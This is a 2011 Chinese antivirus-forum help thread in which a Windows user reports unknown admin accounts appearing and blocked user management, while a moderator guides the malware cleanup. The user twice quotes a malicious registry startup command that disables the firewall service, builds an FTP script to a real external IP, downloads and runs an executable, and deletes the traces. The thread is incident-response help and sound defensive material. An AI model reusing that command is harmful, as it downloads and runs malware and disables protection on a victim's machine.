瑞星卡卡安全论坛技术交流区反病毒/反流氓软件论坛 被入侵,被侮辱,出现三个莫名其妙的用户

12   1  /  2  页   跳转

[求助] 被入侵,被侮辱,出现三个莫名其妙的用户

被入侵,被侮辱,出现三个莫名其妙的用户

多年来一直使用瑞星,感觉不错
      月前发现电脑出现一个莫名其妙的用户,屡删不掉,求助瑞星卡卡后问题解决
      本人平常一般上班即在线,下班即休眠。昨天偶尔开关机又发现新出来一个用户***,遂在用户管理里面删除用户。今天不放心,在此开关机,发现竟然又多出现三个用户,分别是adminss、caolimal、IIS-SERVER,更可悲的是用我原来的用户登陆后进入用户管理,准备删除这三个用户,竟然是“Windows 不能打开用户帐户控制面板”,用瑞星杀毒后,未能解决。
      万能的瑞星,我的电脑是不是被别人控制了,救救我吧

用户系统信息:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
分享到:
gototop
 

回复:被入侵,被侮辱,出现三个莫名其妙的用户

上次出现问题时候,我的求助:
http://bbs.ikaka.com/showtopic-8982905.aspx
gototop
 

扫描的日志

扫描的日志

附件附件:

文件名:SREngLOG.rar
下载次数:279
文件类型:application/octet-stream
文件大小:
上传时间:2011-6-9 21:30:12
描述:rar

gototop
 

回复 4F oooper 的帖子

东西太多,不敢格式化系统
gototop
 

回复:被入侵,被侮辱,出现三个莫名其妙的用户

斑竹,救救我
gototop
 

回复:被入侵,被侮辱,出现三个莫名其妙的用户

斑竹,下班了
gototop
 

回复: 被入侵,被侮辱,出现三个莫名其妙的用户



引用:
原帖由 networkedition 于 2011-6-10 9:23:00 发表
c:\windows\system32\isql\c608.exe
c:\windows\downlo~1\bdsrhook.dll
C:\Program Files\Asar\Xafwfiwpg.jpg这个文件瑞星可以查杀。
以上文件找到压缩发来。





昨天晚上捣鼓一晚上,瑞星可能已经把他们干掉了,至少c608.exe我记得肯定杀掉了,刚刚查了一下没有上述文件,又扫描了一下,请大班看一下

附件附件:

下载次数:315
文件类型:application/octet-stream
文件大小:
上传时间:2011-6-10 10:09:07
描述:rar

gototop
 

回复 13F networkedition 的帖子

1、c:\program files\asar\xafwfiwpg.jpg    全盘检索没有找到
2、启动项目 -- 注册表之如下项删除:

[shell]    <shell><c:\windows\system32\cmd.exe /c net1 stop sharedaccess&echo open 125.46.68.199> cmd.txt&echo 123>> cmd.txt&echo 123>> cmd.txt&echo binary >> cmd.txt&echo get 1.exe >> cmd.txt&echo bye >> cmd.txt&ftp -s:cmd.txt&p -s:cmd.txt&1.exe&1.exe&del cmd.txt /q /f&exi>

删除时候显示“无法编辑”
gototop
 

回复 15F networkedition 的帖子

按指示已可以删除:
启动项目 -- 注册表之如下项删除:

[shell]    <shell><c:\windows\system32\cmd.exe /c net1 stop sharedaccess&echo open 125.46.68.199> cmd.txt&echo 123>> cmd.txt&echo 123>> cmd.txt&echo binary >> cmd.txt&echo get 1.exe >> cmd.txt&echo bye >> cmd.txt&ftp -s:cmd.txt&p -s:cmd.txt&1.exe&1.exe&del cmd.txt /q /f&exi>

但是问题仍存在,表现为:多出来3个用户,用户管理被屏蔽
gototop
 

回复: 被入侵,被侮辱,出现三个莫名其妙的用户



引用:
原帖由 networkedition 于 2011-6-10 14:59:00 发表
注册表查看这项:HKEY_LOCAL_MACHINE\SAM,同样需要添加权限才可以。在这里查看是否有那三个多出的用户。



没有,只有这个,看不懂:
gototop
 
12   1  /  2  页   跳转
页面顶部
Powered by Discuz!NT